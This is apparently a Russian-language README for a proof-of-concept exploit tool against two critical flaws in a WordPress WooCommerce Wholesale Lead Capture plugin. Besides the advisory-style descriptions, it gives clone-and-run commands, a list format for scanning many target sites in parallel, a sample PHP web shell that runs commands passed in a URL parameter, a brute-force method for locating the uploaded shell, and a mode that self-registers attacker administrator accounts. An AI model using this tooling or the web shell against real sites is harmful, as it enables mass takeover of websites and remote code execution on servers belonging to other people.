
Неаутентифицированное повышение привилегий | Неаутентифицированная произвольная загрузка файлов
| Поле | Детали |
|---|---|
| CVE ID | CVE-2026-27542 |
| Серьёзность | CRITICAL — оценка CVSS v3.1: 9.8 |
| Вектор | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Затронутый компонент | Плагин WooCommerce Wholesale Lead Capture (WWLC) для WordPress |
| Тип уязвимости | Неаутентифицированное повышение привилегий |
| Требуется аутентификация | Нет |
| CWE | CWE-269: Некорректное управление привилегиями |
Описание:
Плагин WooCommerce Wholesale Lead Capture для WordPress уязвим к неаутентифицированному повышению привилегий во всех известных затронутых версиях. Уязвимость находится в обработчике AJAX-действия wwlc_create_user, который обрабатывает запросы на регистрацию пользователей без надлежащей санитизации или проверки полей ролей, предоставленных пользователем. Удалённый неаутентифицированный злоумышленник может сформировать специально созданный POST-запрос, который внедряет произвольные поля возможностей WordPress — включая wp_capabilities[administrator] — непосредственно в метаданные пользователя в момент создания учётной записи. Это позволяет злоумышленнику самостоятельно зарегистрироваться в качестве администратора WordPress без какой-либо предварительной аутентификации или взаимодействия с легитимным пользователем, что приводит к полной компрометации затронутой установки WordPress.
| Поле | Детали |
|---|---|
| CVE ID | CVE-2026-27540 |
| Серьёзность | CRITICAL — оценка CVSS v3.1: 9.8 |
| Вектор | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Затронутый компонент | Плагин WooCommerce Wholesale Lead Capture (WWLC) для WordPress |
| Тип уязвимости | Неаутентифицированная произвольная загрузка файлов (приводящая к удалённому выполнению кода) |
| Требуется аутентификация | Нет |
| CWE | CWE-434: Неограниченная загрузка файла опасного типа |
Описание:
Плагин WooCommerce Wholesale Lead Capture для WordPress уязвим к неаутентифицированной произвольной загрузке файлов во всех известных затронутых версиях. Уязвимость находится в AJAX-действии wwlc_file_upload_handler, которое зарегистрировано без каких-либо требований аутентификации или проверки nonce. Отправляя специально сформированный multipart POST-запрос на /wp-admin/admin-ajax.php, удалённый неаутентифицированный злоумышленник может загружать файлы произвольного типа — включая PHP-веб-шеллы — в каталог сервера wp-content/uploads/ в динамически создаваемый подкаталог wwlc-temp-*. Успешная эксплуатация приводит к удалённому выполнению кода (RCE) на веб-сервере от имени учётной записи пользователя веб-процесса.
Это эксплойт Proof-of-Concept (PoC) для двух описанных выше критических уязвимостей, нацеленный на установки WordPress, на которых работает плагин WooCommerce Wholesale Lead Capture. Инструмент поддерживает два независимых режима атаки:
| Режим | Тип атаки | Цель |
|---|---|---|
| Режим 1 | Неаутентифицированная произвольная загрузка файлов + подбор каталога перебором | Загрузить PHP-веб-шелл и найти его с помощью многоуровневого подбора каталога |
| Режим 2 | Неаутентифицированное повышение привилегий через регистрацию | Самостоятельно зарегистрироваться как администратор WordPress и подтвердить доступ администратора |
pip install requests urllib3 colorama
Или установка через файл requirements:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6
# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-27542-CVE-2026-27540.git
cd CVE-2026-27542-CVE-2026-27540
# Install dependencies
pip install -r requirements.txt
# Run the tool
python3 CVE-2026-27542_CVE-2026-27540.py
python3 CVE-2026-27542_CVE-2026-27540.py
Инструмент предоставляет интерактивный терминальный интерфейс. У вас будут запрошены все необходимые параметры.
Создайте обычный текстовый файл (например, list.txt) с одним целевым URL в каждой строке:
https://target1.com
https://target2.com
http://target3.com/wordpress
Select mode [1=Upload+Folder, 2=Registration+Admin]: 1
Targets list file (one URL per line) [list.txt]: list.txt
Threads (concurrent sites) [3]: 5
HTTP timeout (seconds) [10]: 10
Shell file path [shell.php]: shell.php
Shell signature (marker inside shell) [Nx_SHELL_SIGNATURE]: Nx_SHELL_SIGNATURE
Max pattern-based folder guesses per site [50000]: 50000
Max time-based folder guesses per site [50000]: 50000
Max random-hex folder guesses per site [100000]: 100000
Upload results file [scan_results/wwlc_uploads.txt]: scan_results/wwlc_uploads.txt
Found shells file [scan_results/wwlc_shells_found.txt]: scan_results/wwlc_shells_found.txt
Пример файла шелла (shell.php):
<?php
// Nx_SHELL_SIGNATURE
if(isset($_GET['cmd'])){ system($_GET['cmd']); }
?>
Примечание: Каталог
wwlc-temp-*динамически генерируется плагином с помощью PHP-функцииuniqid('wwlc-temp-'). Инструмент использует многоуровневую стратегию перебора для его обнаружения:
Уровень Стратегия Описание 0 Листинг каталога Пытается получить список каталога загрузок, если он открыт 1 На основе шаблонов Подбор на основе времени и последовательных числовых значений 2 Hex на основе времени Основан на наблюдаемых временных метках HTTP-запросов 3 Случайный Hex Подбор чисто случайных hex-строк
Select mode [1=Upload+Folder, 2=Registration+Admin]: 2
Targets list file (one URL per line) [list.txt]: list.txt
Threads (concurrent sites) [3]: 5
HTTP timeout (seconds) [10]: 10
Base registration username (prefix) [Nx_admin]: Nx_admin
Base registration email [[email protected]]: [email protected]
Registration results file [scan_results/wwlc_register_results.txt]:
Admin hits file [scan_results/Admin_login.txt]:
Инструмент:
administrator